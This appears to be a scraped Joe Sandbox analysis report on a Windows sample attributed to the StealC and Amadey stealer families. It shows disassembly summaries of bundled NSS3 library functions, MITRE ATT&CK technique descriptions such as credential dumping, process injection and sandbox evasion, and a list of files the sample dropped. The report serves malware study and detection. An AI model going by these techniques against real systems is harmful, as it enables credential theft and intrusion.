Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6CF99003,?), ref: 6CFEFD91

Part of subcall function 6CFF0BE0: malloc.MOZGLUE(6CFE8D2D,?,00000000,?), ref: 6CFF0BF8
Part of subcall function 6CFF0BE0: TlsGetValue.KERNEL32(6CFE8D2D,?,00000000,?), ref: 6CFF0C15

PORT_Alloc_Util.NSS3(A4686CFF,?), ref: 6CFEFDA2
memcpy.VCRUNTIME140(00000000,12D068C3,A4686CFF,?,?), ref: 6CFEFDC4
free.MOZGLUE(00000000,?,?), ref: 6CFEFDD1

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: Alloc_Util$Valuefreemallocmemcpy
String ID:
API String ID: 2335489644-0
Opcode ID: 77f420747ce948f269906002ca74cfa742e5774c9e40ab62936da980c7d95e6f
Instruction ID: 1651c432dd074c7342e159f93b8d142fdac24360e553d005bbb74feb7a458592
Opcode Fuzzy Hash: 77f420747ce948f269906002ca74cfa742e5774c9e40ab62936da980c7d95e6f
Instruction Fuzzy Hash: 3CF0FCF26012027BFB104F55FC80A577F58EF88259B148134ED19CBB02E762D815C7E1

Function 6D0ACC50 Relevance: 6.0, APIs: 4, Instructions: 29COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(?), ref: 6D0ACC61
free.MOZGLUE ref: 6D0ACC6E
DeleteCriticalSection.KERNEL32(?), ref: 6D0ACC80
free.MOZGLUE(?), ref: 6D0ACC87

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: CriticalDeleteSectionfree
String ID:
API String ID: 2988086103-0
Opcode ID: 8a0f6d801aa0c54ddec5a4f135a4e48fc2d7919592b298bfafd5bb300e068e19
Instruction ID: a85630ce16a8009afe1f4e3614b248771487817adf1c1c36f97b1e35dda7ab79
Opcode Fuzzy Hash: 8a0f6d801aa0c54ddec5a4f135a4e48fc2d7919592b298bfafd5bb300e068e19
Instruction Fuzzy Hash: 69E065766007089FCA10DFA9DC44C877BBCEE896747150525E691C3700D332F915CBE5

Function 6CF89DC0 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 220COMMON

Download Yara Rule

APIs

sqlite3_value_text.NSS3 ref: 6CF89E1F

Part of subcall function 6CF413C0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,6CF12352,?,00000000,?,?), ref: 6CF41413
Part of subcall function 6CF413C0: memcpy.VCRUNTIME140(00000000,6CF12352,00000002,?,?,?,?,6CF12352,?,00000000,?,?), ref: 6CF414C0

Strings

LIKE or GLOB pattern too complex, xrefs: 6CF8A006
ESCAPE expression must be a single character, xrefs: 6CF89F78

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: memcpysqlite3_value_textstrlen
String ID: ESCAPE expression must be a single character$LIKE or GLOB pattern too complex
API String ID: 2453365862-264706735
Opcode ID: c322ad5a677e81adb0325b3d911d7981cfcf98aaa9112f147238da62f850341b
Instruction ID: 4cab94a993f0129995022e477819832c610474d7b868e1d5b48fc4bbfbbfa775
Opcode Fuzzy Hash: c322ad5a677e81adb0325b3d911d7981cfcf98aaa9112f147238da62f850341b
Instruction Fuzzy Hash: 39814F31A062554BDB04CF39C4803EEBBF2BF45318F288659D8A59BBC1DB36D946C7A1

Function 6CFE4D10 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 106COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6CFE4D57
PR_snprintf.NSS3(?,00000008,%d.%d,?,?), ref: 6CFE4DE6

Strings

%d.%d, xrefs: 6CFE4DDE

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: ErrorR_snprintf
String ID: %d.%d
API String ID: 2298970422-3954714993
Opcode ID: 21f6fbafe0dfbb53c95b857fa1e1f3257ecb6c108b795a04e516c11be2acb662
Instruction ID: b974a63522ca00ca0b431a83aa12dd8c124e5c3ae67413f0276418e23788131f
Opcode Fuzzy Hash: 21f6fbafe0dfbb53c95b857fa1e1f3257ecb6c108b795a04e516c11be2acb662
Instruction Fuzzy Hash: A731D9B2D042197BFB209BA59C05BFF7B68EF45308F050469ED159B781EB709A05CBA2

Function 6D02AF70 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

PR_GetUniqueIdentity.NSS3(SSL), ref: 6D02AF78

Part of subcall function 6CF8ACC0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CF8ACE2
Part of subcall function 6CF8ACC0: malloc.MOZGLUE(00000001), ref: 6CF8ACEC
Part of subcall function 6CF8ACC0: strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CF8AD02
Part of subcall function 6CF8ACC0: TlsGetValue.KERNEL32 ref: 6CF8AD3C
Part of subcall function 6CF8ACC0: calloc.MOZGLUE(00000001,?), ref: 6CF8AD8C
Part of subcall function 6CF8ACC0: PR_Unlock.NSS3 ref: 6CF8ADC0
Part of subcall function 6CF8ACC0: PR_Unlock.NSS3 ref: 6CF8AE8C
Part of subcall function 6CF8ACC0: free.MOZGLUE(?), ref: 6CF8AEAB

memcpy.VCRUNTIME140(6D0F3084,6D0F02AC,00000090), ref: 6D02AF94

Strings

SSL, xrefs: 6D02AF73

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: Unlock$IdentityUniqueValuecallocfreemallocmemcpystrcpystrlen
String ID: SSL
API String ID: 2424436289-2135378647
Opcode ID: b0e8a53160714f188cde994acec982de4c5c94f47fe2e7bebb82659854ead538
Instruction ID: 4c8de88307136f2527830ba2084e16e7fa96d559d267181c80f0f92fd172637a
Opcode Fuzzy Hash: b0e8a53160714f188cde994acec982de4c5c94f47fe2e7bebb82659854ead538
Instruction Fuzzy Hash: E7212DB0507308AEEA00CF51F9AB71A7A70F34A768B70510ADD484A34DD73190489FDB

Function 6CF80F00 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16COMMON

Download Yara Rule

APIs

PR_GetPageSize.NSS3(6CF80936,FFFFE8AE,?,6CF116B7,00000000,?,6CF80936,00000000,?,6CF1204A), ref: 6CF80F1B

Part of subcall function 6CF81370: GetSystemInfo.KERNEL32(?,?,?,?,6CF80936,?,6CF80F20,6CF80936,FFFFE8AE,?,6CF116B7,00000000,?,6CF80936,00000000), ref: 6CF8138F

PR_NewLogModule.NSS3(clock,6CF80936,FFFFE8AE,?,6CF116B7,00000000,?,6CF80936,00000000,?,6CF1204A), ref: 6CF80F25

Part of subcall function 6CF81110: calloc.MOZGLUE(00000001,0000000C,?,?,?,?,?,?,?,?,?,?,6CF80936,00000001,00000040), ref: 6CF81130
Part of subcall function 6CF81110: strdup.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,6CF80936,00000001,00000040), ref: 6CF81142
Part of subcall function 6CF81110: PR_GetEnvSecure.NSS3(NSPR_LOG_MODULES,?,?,?,?,?,?,?,?,?,?,?,?,?,6CF80936,00000001), ref: 6CF81167

Strings

clock, xrefs: 6CF80F20

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: InfoModulePageSecureSizeSystemcallocstrdup
String ID: clock
API String ID: 536403800-3195780754
Opcode ID: 54bd427103674def67345d9a806e8c0a53bc66cbb36bee36492fc4f776894806
Instruction ID: 0e3bfa1e4410b263b1dd2ff3d8e34bde2f0599526e12598799923606340ea0d7
Opcode Fuzzy Hash: 54bd427103674def67345d9a806e8c0a53bc66cbb36bee36492fc4f776894806
Instruction Fuzzy Hash: 45D0223200118811D120A367AC40FAEB2BCC7C3279F208A32E22C819010B7480DED26A

Function 6CFF0DB0 Relevance: 5.1, APIs: 4, Instructions: 97COMMON

Download Yara Rule

APIs

calloc.MOZGLUE ref: 6CFF0DF5
TlsGetValue.KERNEL32 ref: 6CFF0E2D
TlsGetValue.KERNEL32 ref: 6CFF0E58
TlsGetValue.KERNEL32 ref: 6CFF0E84

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: Value$calloc
String ID:
API String ID: 3339632435-0
Opcode ID: 3e898b1c4e9006d52325bca6c1bd7106522e5d3edc5f705a0df97628fecb9c18
Instruction ID: 07ddebc428dbf1ea1296c43fe9b158ab395d3717979abedf2a6965c153c75855
Opcode Fuzzy Hash: 3e898b1c4e9006d52325bca6c1bd7106522e5d3edc5f705a0df97628fecb9c18
Instruction Fuzzy Hash: 1C31C3B15453818BDB109F78C9847EA7BB4FF05308F51466DDCA887A31EBB09086CB82

Function 6CFF0F10 Relevance: 5.1, APIs: 4, Instructions: 52stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6CF92AF5,?,?,?,?,?,6CF90A1B,00000000), ref: 6CFF0F1A
malloc.MOZGLUE(00000001), ref: 6CFF0F30
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6CFF0F42
TlsGetValue.KERNEL32 ref: 6CFF0F5B

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: Valuemallocmemcpystrlen
String ID:
API String ID: 2332725481-0
Opcode ID: e655f3759fe30cc3344208a8be2e03b1739f913948db482e54eacca49ab09829
Instruction ID: 6b95b3835cb19edab111a238975a555c598986b67baeda21adca2aec9c1b218c
Opcode Fuzzy Hash: e655f3759fe30cc3344208a8be2e03b1739f913948db482e54eacca49ab09829
Instruction Fuzzy Hash: C50128B2A012805BFB101B3ADD44B677ABCEF42258F050135ED28C3672E771C40682E2

Function 6CFA1EB0 Relevance: 5.0, APIs: 4, Instructions: 38COMMON

Download Yara Rule

APIs

free.MOZGLUE(?), ref: 6CFA1ECE
free.MOZGLUE(?), ref: 6CFA1EDF
free.MOZGLUE(?), ref: 6CFA1EEF
free.MOZGLUE(?), ref: 6CFA1EF5

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: fb9b12c7cae69019679e457d26a51edb90a7f7669787fd9e2985ab5b37b4c051
Instruction ID: 1c16ba870e5730bc13b1945ee54cc86eac0e3147767e606d29f50d36c9b0ab5a
Opcode Fuzzy Hash: fb9b12c7cae69019679e457d26a51edb90a7f7669787fd9e2985ab5b37b4c051
Instruction Fuzzy Hash: 48F0B4B1600105EBEB009BAAEC85EA7B76CEF85558B094424EC19C3A00E736F41186A5

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\AAAAKJKJEBGHJKFHIDGC

C:\ProgramData\AKEBFCFIJJKKECAKJEHDAAFIEG

C:\ProgramData\CAEBGHDB

C:\ProgramData\CGDBGCBG

C:\ProgramData\DAKFIDHDGIEGCAKFIIJKFCBFBF

C:\ProgramData\ECAFHDBGHJKFIDHJJJEB

C:\ProgramData\EHDGCGIDAKEBKECAFIEH

C:\ProgramData\freebl3.dll

C:\ProgramData\mozglue.dll

Windows Analysis Report
file.exe

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

